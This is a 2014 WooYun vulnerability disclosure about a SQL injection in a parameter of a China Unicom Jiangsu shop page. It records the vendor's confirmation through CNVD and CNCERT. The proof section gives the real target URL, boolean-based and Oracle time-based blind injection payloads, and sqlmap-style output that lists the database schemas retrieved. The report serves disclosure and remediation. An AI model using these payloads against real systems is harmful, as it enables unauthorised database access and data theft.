当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069933

漏洞标题:中国联通某分站SQL注入漏洞

相关厂商:中国联通

漏洞作者: Manning

提交时间:2014-07-28 00:27

修复时间:2014-09-11 00:30

公开时间:2014-09-11 00:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-28: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-11: 细节向核心白帽子及相关领域专家公开
2014-08-21: 细节向普通白帽子公开
2014-08-31: 细节向实习白帽子公开
2014-09-11: 细节向公众公开

简要描述:

一个分站而已

详细说明:

站点:
http://www.js.chinaunicom.com/shop/sales/SalePhoneCtrl.do?sale_type=2&oper_flag=phone_info&goods_id=5881&phone_promotion=A&city_id=0&user_type=old
由于接口参数未经过滤导致注入

漏洞证明:

---
Place: GET
Parameter: phone_promotion
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sale_type=2&oper_flag=phone_info&goods_id=5881&phone_promotion=A%'
AND 3843=3843 AND '%'='&city_id=0&user_type=old
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sale_type=2&oper_flag=phone_info&goods_id=5881&phone_promotion=A%'
AND 5726=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS
T4,ALL_USERS T5) AND '%'='&city_id=0&user_type=old
---
[21:59:44] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.4, JSP, Apache 2.2.25, JSP 2.0
back-end DBMS: Oracle
[21:59:44] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[21:59:44] [INFO] fetching database (schema) names
[21:59:44] [INFO] fetching number of databases
[21:59:44] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[21:59:44] [INFO] retrieved: 6
[21:59:48] [INFO] retrieved: JSUC2_ACT
[22:01:14] [INFO] retrieved: JSUCREPORT
[22:02:17] [INFO] retrieved: JSUC_AGENT2
[22:03:16] [INFO] retrieved: SYS
[22:03:50] [INFO] retrieved: SYSTEM
[22:05:03] [INFO] retrieved: WMSYS
available databases [6]:
[*] JSUC2_ACT
[*] JSUC_AGENT2
[*] JSUCREPORT
[*] SYS
[*] SYSTEM
[*] WMSYS


QQ截图20140727221859.png

修复方案:

注意接口的参数过滤

版权声明:转载请注明来源 Manning@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-08-01 21:08

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调当地基础电信企业处置。

最新状态:

暂无